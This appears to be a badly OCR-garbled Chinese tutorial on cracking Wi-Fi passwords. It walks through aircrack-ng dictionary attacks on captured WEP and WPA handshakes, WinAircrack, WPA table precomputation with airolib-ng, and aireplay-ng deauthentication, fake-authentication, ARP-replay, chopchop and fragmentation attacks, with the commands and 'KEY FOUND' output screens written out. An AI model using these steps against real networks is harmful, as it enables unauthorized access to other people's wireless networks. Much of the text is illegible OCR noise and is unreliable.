) gl MmNt | SetIP address
& opt

gl pentest

i Proc

ot |

g 5hin

L e R R B

e %

AT WPA [ RS B30 LT 28 T BBUAAT 5 SR, 28 0 BB 5 LA 1) — NIl “FEIN S 27
B P UMEAEA NHEARAE TR 2 I EHEE R AN T, I IR Ay B R 500 A B SRR — A LS
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Wi AR —: M Cop BB EERIIWMR
MBS AERE EUF WEP 2 ARA i i), BRI W 1 Cap Hdls Gl 5 7€ T AR . WPA BN A 7 22
AU T IBC A A BESE G AR WRA A T g ) LA H A g AN H ok o

BIA: aircrack-ng-z—b <ap mac> 123* cap|

123 2 i BTk (8 TRSCIE 4 . REEe ASIERIA IS4 )5 n E-01. -02 (W EdE B AR, R
giex U SUEAE#OF A shdn 44, TTRMET st ), S 123* 24T ITFr Ay 123 A5G cap U

Mo answer, repeating.

Sending fragmented pa

Got RELAYED pac
#Data, #/s CH MB ENC :33:56 Trying to get

Got RELAYED packet!!

74 93 BG4 37554 551 5 \ :33:56 Trying to get 1500 by
54 i ASF h ] 5 8 156 Got RELAYED packet!!

Saving stream in fragment-02

STATION “ " - ; x W you can build a packet with

LI DB 2 PR L CLA 30W, AR R AR . AT R R H B4 i T LA U AT cap .

Wi A\ 123-01.cap Al i AT RE -3 SRR A R L), @SS A 123* .cap 10T 47 () cap CLBEAT AU

Aircrack-ng 1.8 betal r857

:UU:00] Tested BOS keys (got 41583 IVs)

depth ytely
Bf 2 C 2] AT(5 B2 49488) 74(49
G) 0305 : C
0) F1047872) FE(47872) 4E(47616) 77(47360) 98
: ) BE(50944) CF(50432) BF(49664) 4C(49152) ¢
BA(47616) 3CI47360) AE(47360) 01(47104) AS(48592)

3
__4

KEY FOUND! [ C5:1A:BD:AE:68:74:18:21:CA:6A:T7D:02:05 ]
Decrypted correctly: 100%

rootébt:~# |
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4y N o 0
—. EIAE BT3 hEF IR

\ai rcrack-ng - w password.txt —b <ap mac> 123.cap\

S passwrod.txth 7L R 123.caphy D R 2 PR 4R A5 B A

|Quitting aircrack-ng. ..
| root@bt:~# aircrack-ng -w password.txt -b 00904c7e0064 123.capf]

FEIT 1) 31Fb3RFWPAZE Y, G R

Aircrack-ng 1.9 betal rg57
[60:01:31] 13814 keys tested (149.91 k/s)
KEY FOUND! [ z36bai2lde

Master Key : IF ED 74 78 10 87 E4 8A 3
Ch Bl 41 95

23
ES

Transcient Key : . 91 CB S
6 9 72
8C
15

bt et b D)

MU

EAFOL HMAC

I
&

M B AT DLE AR IS 1433180, 4F149 . 91K/S

e ABRERK T EREREIE. REM T A256KH /DT, FEEEE OB FHET .

—. BAHERE 4 BT CAP BB MBIRES T4 WIN TR WinAircrack H:7 JH# .
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Winkircrack
'l.u & General
"
General Encryption type: WPA-PSE V_t_|
@ APz Mame [ESSID]: | |
AP WAL Add BSSID):
Wpa ress | ] | |
Capture files:
‘.‘ﬁ F:\123.cap
Hardware
Advanced
{tteg02) - - :
_[ 4) Click here to locate capture file_ ..
About
| &t Aircrack the key... |

i EE Encryption typekbik#EWPA-PSK, Fifiicapture filesih's AHMELHHE 11123 cap

SRIGIEBWPAIETI, W N

¥Winkircrack
A ”"“’”
General Dictionany file:
|F:"-.|:|asswcuru:|.t:-ct |
@ ‘y Click here to obtain a dictionnary file on line...
Wpa Click here to know more about WPA .
%@
Hardware
Advanced
rJ:t:[.lJ:'
About
[ N Aircrack the key...

7t LK FDictionary filekh 'S N\ 7 8 30 fFpassword. txt. RJ5 fidifi FffAIrcrack the key

Anywhere WLAN! 28



o E LR IR DM

VA LT IR
o DR ; ;

Opening F:~123.cap
Head 44498 packets.

## BSSID ESSID Encryption

1 A8:98:4C:7E:A8:64 zhuwei WPA <1 handshake?
2 PAP:PB:A0:H@:08:868 Unknown

Index number of target network 7 1

EH, &R, KGRI . BRI

aircrack 2.3

[BB:08:54] 13814 keys tested <(251.73

KEY FOUND* [ =36bailZide 1

Master Key 74 7B 18 87 E4 8a 3@
CE 78 78 EE 61 41 29

Tranzcient Hey FC 57 AD 91 CB 91 54
BE CA BZ A% 72 77 5F
32 D? B5 BE 8C 57 53
CA AA E4 E7 15 33 3n

EAPOL HMAC 13 66 58 82 3@ F? bE

Presz Ctrl-C to exit.

M RT DR R A F B 548D, T8 EE251. 73K/S(LKLBT3 ™ 2 k)
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=. BEidairol ibEWPA tableSZELWPALR A E

WPAP) 7 BLA At b T LR P BB A 41, A —Fiie Fairolibf 7 L4415 iWPA tablefA )5 FfHaircrac
HEATRHAR -

FIEWPA tablesfit ek I AIWPAIN 2 K H [RIAE SRt S5 AR i Hash B/ EUE,  SXAEAE 75 B 1 I Ak L
e X FE R SO T LU, g Rl nT LUK 3 &

SeybEiTairol ibfAEWPA table

WPA table FLATHL K BT X ss iR «

1. TEREWPA tableZ By ZEMER AN SCE: — AN iEssidyIR IS Essid. txt, — AN S

password.txt. FE%
s T

;Jﬁ Z

§5huwei.
I TP-LIHNK

S
)

Fonu11x

username?

@S
rERSY
rEnsy”
EHSL R
ERS% " B
900008
LLLLLTT
§123456789
1

181818

KE LR BNt SCEF, ssidid A B Essidi g2, /Rn] LA WL ssiddt 2, JE1iifpasswrod
R T .

2. ftiiXssid.txtHlpassword. txtit A b M2 14T 123 . capix = 45 D 2llroot H sk T 7 AL H .
L

k¢ OE(U): | /root

Rl =gt
e N
e boot

v -’ ¥
€ \ I

) g dEW sample_scripts
g etc

g home

& g lib

g MINE

il OPE

) gl pentest

Desktop

=

—

Set IP address

123.cap

password txt

B HIGE &

3_JFiE R Hairolib-ng ki HWPA table T . #%kwpa tableff {714 ¥ Awpahash CF[])
s, WK

\airolib—ng wpa --import essid ssid.txd

D:sProgram Filessaircrackwin“hin*airolib-—ng wpa —import esszid ssid.txt
Databhase <wpa* doez not already exist, creating it...
Databhase <wpa’ sucessfully created
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BL, K

\airolib—ng wpa --import passwd password.txﬂ

D:sProgram Filessaircrackwinshin*airolib-ng wpa —import passwd password.txt
3Reading file...

Writing...s read, 5478 invalid lines ignored.
Done .

WL, K

‘airolib—ng wpa --clean all

D:sProgram Filessaircrackwin“bhin*airolib—ng wpa —clean all
Deleting invalid ESS5IDs and passwords...

Deleting unreferenced PMEs. ..

Analysing index structure...

Vacuum—c leaning the database. This could take a while...
Checking database integrituw...

integrity_check

ok

Query done. 2 rows affected.

Done .

FOL, W

\airolib—ng wpa --batch
d X AR A (S ORI g, 256K I4% T 47155 i)

ﬂ:\Prugram Filesz“saircrackwin~hin>airolib—ng wpa —hatch
Computed 21437 PHEK in 195 szeconds (189 PHErs=s. B in buffer?>. All ESS5ID processed

4. HaircrackkF|FHWPA tableidkfTa% fift

%ircrack—ng —r wpahash 123.cad

D:sProgram Filessaircrackwin“bhinaivrcrack—ng —» wpa 123 .cap
Opening 123 .cap
Read 1178097 packets.

# BSSID ESSID Encryption

BA:2@:4C:VE:AA:64 SHU WPA <1 handshake?
BA:1D:AF:2A:D5:3C TP-LINK Mo data - WEP or WPA

numher of target network ¥ 1

JEPELULJE R T AR AR A o
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SRR b B s

Aircrack-ng 1.8 rcil

[(BA:8@:A81 13351 keys tested (422068.08 k- s

KEY FOUWD? [ jdBw2jg2B8346 1

Mazter Key

Tranzcient Key :

EAPOL HMAC

M H AT LA HFERT00:00: 00 [ iEANERE 1FMBh, 39 42250 . 00K/S

KRG WG R T =Mt 7730, EEHE T P Ewin T I WinAircrack il i 2 3 B2 LEAEBT3 R 2Epk . 7 i
WA 1o Bl 1 0% WA table i i AR A S —F0, (HZHIEWPA tableXlIFEDY 1 15%)
B FJEEWPA tablesZRAEIT Y, (FORMIEE T AR IlssidFRTARH BN 7 dLWPA tableffil, LAJE
PRI ERE R BRAR . R BEATTREM i, WRATJTREM 73, PR > UssidI¥IWPA tablefr) i
SIS TS HH s e ST SR e K 1 o

FE: WINEES T ICAINEAE P (R fiE 42t m] F T-WEPHIWPAKI I T 5% ) Al B WA, (E 2 L o AR,
AH tbaircrack-ngify & A B S A
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Aireplay-ng K 6 FrBU R FER

-0 Deautenticate (PRI,

A LRI 1R A 7 i T T 55 0 e i PRI, AT LRI R . AR O e R R A IR L R
M= A4 3% ARP request.
WUR— A& P A e o b, (RO B N B A s, I, BT -3 RV AR A ARP
request. JIT LAUKIN G5 -0 bt Uil &, -3 Bk A s v 210
laireplay-ng -0 10 —a <ap mac> -c <my mac> wifi0 |
SR«

[-0): hoRUGhR, JamERAERE CREAR 0, WEATEIR S, AMFMWIFERE, &)tk Es b
D)

[-a): ¥ & ap ] mac

[-c)]: W& CEENGER P il mac, WARABE-c, W I M ap EEH G55 ) i o
laireplay-ng -3 -b <ap mac> -h <my mac> wifi(

Vi AT B ASE C B 2 A0 S DA AR IR 2 S 1 0 % e 8

-1 fakeauth count thZE% FuigdE

PR IS O e — A% 1 o A AP EAT IR
P RTCE P i BRI 2, DA R TG AR Z i, DRI R B — AN O e 20 P i >R i o 2 AH
ik AP EESZ AR L, I MR AT AP GG, an ST RIS, H AR AP K ZE I AT AR IR
MBI, VS Hl A= -1 Dbk i e D UG A RRARIRIE N4, Lk 382 2
N4 Ja A ] S A2 ARP AL,
laireplay-ng -1 0 —e <ap essid> -a <ap mac> -h <my mac> wifiQ
SR«

[-1): Phde& PrumiE ik, o iR aE v

[-e]: ¥ HE aplf) essid

[-a): & ap ] mac

[-h): &E LRk~ MAC (B H S+ mac)

-2 Interactive 322 AR,

PR L AR R — MRS & Bdifn, R A — e A

1. MBI BB TR o, -1 T A P AR BB R B
laireplay-ng -2 -p 0841 -c ff: ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifiQ
BRI

[-2): = H BGH

[-p) w&EZEHImrh a5 rfE e (16 HEHD, BRIARH] 0841

[-c] ¥ Hbx mac ik

[-b] ¥ ap (¥ mac i

[-h] BBy st - MAC CHIE SR mac)

2. HRHUE, RI%ENE A

aireplay-ng-2 - r <file> -x 1024 wifi0

KA I, -x 1024 B e R, #ER M RIENL, TTLAESE 1024,
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-3 ARP-request i AT B

R — PR S A A R IR R

AR IRA 2% BEoT AR AR5 i, ol LARC -1 R B ROE D e 2 . WA AEE
J 0 R R AT B LA, kAR P Al ap L IAIEAE, D sEEE S A AL ARP request A T H -3
FERTE N o WA RATBSAAAE, ANFEf3 3] ARPrequest., NIXFhIcdi s £ M. I A2 /7 i Al
ap 2 A N % ARPrequest, 1] DA%k [A] I FT-0 Mo,

WA GIVER P, AT AR -1 g e i Db e % iy, JE B AR PR S uE i, AT AR
% ARPrequest. il iE-3 BETEN

laireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifiQ

SR«

[-3): arp i ALCH

[-b): ¥ & ap ) mac

[-h]: A&

[-x): & SURRP AR EH A HGE, (Wt Em A 1024, @UUEH] 512 (A 3O

-4 Chopchop Bz, HEURF[—MEEFHEIER xor X4

A B RAG—Do  RH A B 3 1) xor SCfF, ARERIKRAR S HGE (L. T2 H ek A —AN
FR s L U FRAT TRT ABE TN

laireplay-ng -4 -b <ap mac> -h <my mac> wifiQ

ZH

-b: BB AR AP ) mac

-h: BCE B RSERN mac (B H 2R mac)

-5 fragment B BEEHER H IR PRGA(BEZEHARE RN xor BI3CF)
PR B AN R PRGA, IX LI PRGA FANE: wep key $idii, AAEA kM. ik
ek = A — AN s AL DA B AT T T AEA TV E N o L AR SRt 2 4 H b AP B #E 6L, 24 AP H) T #
I, —ASH VS K= A, BAT TR XA Atk i
laireplay-ng  -5-b <ap mac> -h <my mac> wifi0 |

[-5): R ik

[-b): & ap ) mac

[-h): &ERBIOESERN mac (HIFH MR 1) mae)
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Packetforge-ng: HIE @ HIEREF

Packetforge-ng <mode> <options>

Mode

[-0): ki ARP

packetforge-ng -0 -a <ap mac> -h <my mac> wifi0 —k 255.255.255.255 -| 255.255.255.255
Ly<.xor file> -w mrarp|

ZH

[-0): Dh%é arp Hidls o

[-al: W& ap i) mac

[-h] ¥ & D% R mac (HITE K mac)

[-k] <ip[:port]>Wi]: B H bR CAF 1P i

(-1 <ip[:port]>iH]: BB A 1P Al

[-y] <file>UiW]: M xor SCAFHE PRGA. J iR xor FISCHF4 .
[-w] ¥EhBE arp LSO 44

Aircrack-ng: WEP & WPA-PSK key WifEFEF

Aircrack-ng [optin] <.cap/.ivsfile>
Optin
laircrack-ng -n 64 -b <ap mac> name-01.ivg
SR«

[-n): & WEPKEY KJi (64/128/152/256/512)
laircrack-ng -x -f 2 name-01h.cap|
SR«

(©'0 BN s Wk WAL 3 E

[-f): VOB EAFENE, wep A BEE N 1, wpa B sl 2
laircrack-ng -w password.txt ciw.cap|

(-w): BCEA MR, R SO, P R FATT R N CRAF FR IS ANl 3R 2] WPA 56 1E [T
A
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o E LR IR DM

LR =2
R 1. RAESS3) bt3 MR, M startx BB
fif: AN 4 root FIEERY toor LLJE TN xconf IX I 2y BB — 2y, AR JiE RS R FF PN startx i
win & s SEAEABEREAN win B E IS AR AT DU SR AT N A&k a4, [N T ] alt+1 §79F
/> shell, alt+2 75 A shell, alt+3 7T =A%, KM% ] PRINT SCREEN 4
)5 2. 7E BT3 FF4TIT kismet FIRHMERE O—RNBE T .
fif s B e nEk UK ifconfig -a rausb0 146 W I WT:airmon-ng start rausb0. $& #1]/usr/local /etc/kismet.conf
FTIF I SCAFAE channelsplit=true I [T il A —47" source=rt2500,rausb0,monitor
o wush54g v4 —5E A rt2500 AN IR IR B R rt2570,
3945 ) b, 26 N\ source=i pw3945,eth0, | PW3945
[ & 3.
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